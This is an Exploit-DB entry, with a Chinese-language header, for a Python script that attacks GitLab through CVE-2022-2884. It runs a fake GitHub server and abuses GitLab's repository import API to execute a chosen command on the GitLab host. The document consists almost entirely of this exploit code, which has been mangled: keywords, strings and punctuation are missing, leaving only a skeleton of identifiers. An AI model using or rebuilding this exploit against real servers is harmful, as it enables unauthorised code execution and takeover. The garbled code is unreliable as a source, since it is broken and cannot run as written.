标题: GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 51181 CVE: 2022-2884 类型: WEBAPPS 平台: RUBY 发布日期: 2023-04-01 漏洞利用脚本: # Exploit Title: GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) 
# Date: 2022-12-25
# Exploit Author: Antonio Francesco Sardella
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://about.gitlab.com/install/
# Version: GitLab CE/EE, all versions from 11.3.4 prior to 15.1.5, 15.2 to 15.2.3, 15.3 to 15.3.1
# Tested on: 'gitlab/gitlab-ce:15.3.0-ce.0' Docker container (vulnerable application), 'Ubuntu 20.04.5 LTS' with 'Python 3.8.10' (script execution)
# CVE: CVE-2022-2884
# Category: WebApps
# Repository: https://github.com/m3ssap0/gitlab_rce_cve-2022-2884














 argparse
 logging
 validators
 random
 string
 requests
 time
 base64
 sys

 flask  Flask current_app request
 multiprocessing  Process

VERSION  
DEFAULT_LOGGING_LEVEL  loggingINFO
app  Flask__name__

 
    parser  argparseArgumentParser
        descriptionf
    
    parseradd_argument 
                        required
                        
    parseradd_argument 
                        required
                        
    parseradd_argument 
                        required
                        default
                        
    parseradd_argument 
                        required
                        
    parseradd_argument 
                        required
                        
                        default
                        
    parseradd_argument 
                        action
                        required
                        default
                        
    parseradd_argument 
                        required
                        
    parseradd_argument 
                        
                        required
                        
    parseradd_argument 
                        action
                        required
                        default
                        
     parserparse_args

 args
    
        validatorsurlargsurl
     validatorsValidationFailure
         ValueError
    
     argsprivate_tokenstrip     argsprivate_tokenstripstartswith
         ValueError

     argstarget_namespacestrip  
         ValueError

    
        validatorsipv4argsaddress
     validatorsValidationFailure
         ValueError
    
     argsport    argsport  
         ValueError
    
     argscommandstrip  
         ValueError
    
     argsdelay     argsdelay  
         ValueError

 length
    letters  stringascii_lowercase  stringascii_uppercase  stringdigits
     joinrandomchoiceletters  i  length

 length
    letters  stringascii_lowercase
     joinrandomchoiceletters  i  length

 length
    letters  stringdigits
    result  
     resultstartswith
        result  joinrandomchoiceletters  i  length
     result

 to_encode
     base64b64encodeto_encodeencodedecode

 url private_token target_namespace address port is_https fake_repo_id
    logginginfo
    protocol  
     is_https
        protocol  
    headers  
         
         private_token
         
    
    fake_personal_access_token    generate_random_string
    new_name  generate_random_lowercase_string
    loggingdebug
    loggingdebugf
    loggingdebugf
    loggingdebugf
    payload  
         fake_personal_access_token
         fake_repo_id
         target_namespace
         new_name
         f
    
    target_endpoint  f
      target_endpointendswith
        target_endpoint  f
    target_endpoint  f
    
        r  requestsposttarget_endpoint headersheaders jsonpayload
        loggingdebug
        loggingdebugf
        loggingdebugf
        logginginfof
         rstatus_code  
            loggingfatal
            loggingdebugf
             Exception
    
        loggingfatal
         Exception

 address port is_https
    protocol  
     is_https
        protocol  
    
        r  requestsgetf
         rstatus_code      rtext
             
        
             
    
         

 address port is_https command fake_repo_id
    appconfig  address
    appconfig  port
    protocol  
     is_https
        protocol  
    appconfig  f
    appconfig  command
    appconfig  generate_random_lowercase_string
    appconfig  generate_random_number
    appconfig  generate_random_lowercase_string
    appconfig  fake_repo_id
    appconfig  generate_random_number
    apprun port

 command
    encoded_command  
     c  command
        encoded_command    c  
    
    encoded_command  
    loggingdebugf
     encoded_command

 command
    loggingdebug
    loggingdebugf
    encoded_command  encode_commandcommand 
    rce_payload  f
    loggingdebugf
     rce_payload

 attacker_server fake_user fake_user_id
    response  
         f
         f
         f
         f
         f
         
         f
         fake_user_id
         f
         base64encodef
         f
         f
         f
         
         f
         f
         
         f
    
     response

 attacker_server fake_user fake_user_id
    partial  generate_user_responseattacker_server fake_user fake_user_id
    others  
         
         
         
         
         
         
         
         
         
         
         
         
         
         
    
    response  partial others
     response

 address port attacker_server fake_user fake_user_id fake_repo repo_id
    response  
         
         
         
         
         
         
         f
         
         f
         f
         f
         f
         f
         f
         f
         f
         f
         f
         
         
         
         f
         
         
         f
         f
         
         
         
         f
         f
         f
         f
         f
         f
         
         
         
         
         
         
         f
         f
         repo_id
         
         f
         f
         f
         f
         f
         
         f
         
         
         
         f
         f
         
         f
         
         base64encodef
         f
         
         
         generate_user_responseattacker_server fake_user fake_user_id
         
             
             
             
             
             
        
         
         f
         
         f
         
         
         
         f
         
         f
         f
         
         f
         f
         f
         f
         f
         generate_random_string
         
         f
         
         f
         
         
         
         
         
    
     response

 attacker_server fake_user fake_user_id fake_repo fake_issue_id command
    rce_payload  generate_rce_payloadcommand
    response  
        
             
             
             
             
             
             
             
             f
             
             f
             f
             fake_issue_id
             
             f
             
             
             base64encodef
             
                 f 
             
             
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 f
            
             f
             
             
             f
             f
             
             f
             generate_user_responseattacker_server fake_user fake_user_id
        
    
     response

@appbefore_request
 
    loggingdebugf
    loggingdebugf
    loggingdebugf

@appafter_request
 response
    responseheaders  
    responseheaders  
    responseheaders  
    responseheaders  
    responseheaders  
    responseheaders  
     response

@approute
 
     

@approute
 
    response  
         
             
                 
                 
                 
                 
            
             
                 
                 
                 
                 
            
             
                 
                 
                 
                 
            
             
                 
                 
                 
                 
            
             
                 
                 
                 
                 
            
             
                 
                 
                 
                 
            
             
                 
                 
                 
                 
            
             
                 
                 
                 
                 
            
             
                 
                 
                 
                 
            
        
         
             
             
             
             
        
    
     response

@approute
@approute
 repo_id 
    address  current_appconfig
    port  current_appconfig
    attacker_server  current_appconfig
    fake_user  current_appconfig
    fake_user_id  current_appconfig
    fake_repo  current_appconfig
    response  generate_repo_responseaddress port attacker_server fake_user fake_user_id fake_repo repo_id
     response

@approute
 user string repo string
    address  current_appconfig
    port  current_appconfig
    attacker_server  current_appconfig
    fake_user_id  current_appconfig
    fake_repo_id  current_appconfig
    response  generate_repo_responseaddress port attacker_server user fake_user_id repo fake_repo_id
     response

@approute
 user string repo string
    attacker_server  current_appconfig
    fake_user_id  current_appconfig
    fake_issue_id  current_appconfig
    command  current_appconfig
    response  generate_issue_responseattacker_server user fake_user_id repo fake_issue_id command
     response

@approute
 user string
    attacker_server  current_appconfig
    fake_user_id  current_appconfig
    response  generate_user_full_responseattacker_server user fake_user_id
     response

@approute
@approute
@approute
@approute
 user string repo string
    loggingdebug
     


@approute
 path
    loggingdebug
     

 
    args  parse_arguments
    logging_level  DEFAULT_LOGGING_LEVEL
     argsverbose
        logging_level  loggingDEBUG
    loggingbasicConfiglevellogging_level 

    validate_inputargs
    url  argsurlstrip
    private_token  argsprivate_tokenstrip
    target_namespace  argstarget_namespacestrip
    address  argsaddressstrip
    port  argsport
    is_https  argshttps
    command  argscommandstrip
    delay  argsdelay
    logginginfof
    loggingdebug
    loggingdebugf
    loggingdebugf
    loggingdebugf
    loggingdebugf
    loggingdebugf
    loggingdebugf
    loggingdebugf
    loggingdebugf

    fake_repo_id  generate_random_number

    fake_github_server  Processtargetstart_fake_github_server argsaddress port is_https command fake_repo_id
    fake_github_serverstart

    logginginfo
      is_server_aliveaddress port is_https
        timesleep
        loggingdebug
    logginginfo

    
        send_requesturl private_token target_namespace address port is_https fake_repo_id
    
        loggingcritical
        fake_github_serverkill
        sysexit

     delay   
        logginginfof
        timesleepdelay
    
        logginginfo
        

    loggingdebug
    fake_github_serverkill

    logginginfo

 __name__  
    main URL: https://www.exploit-db.com/exploits/51181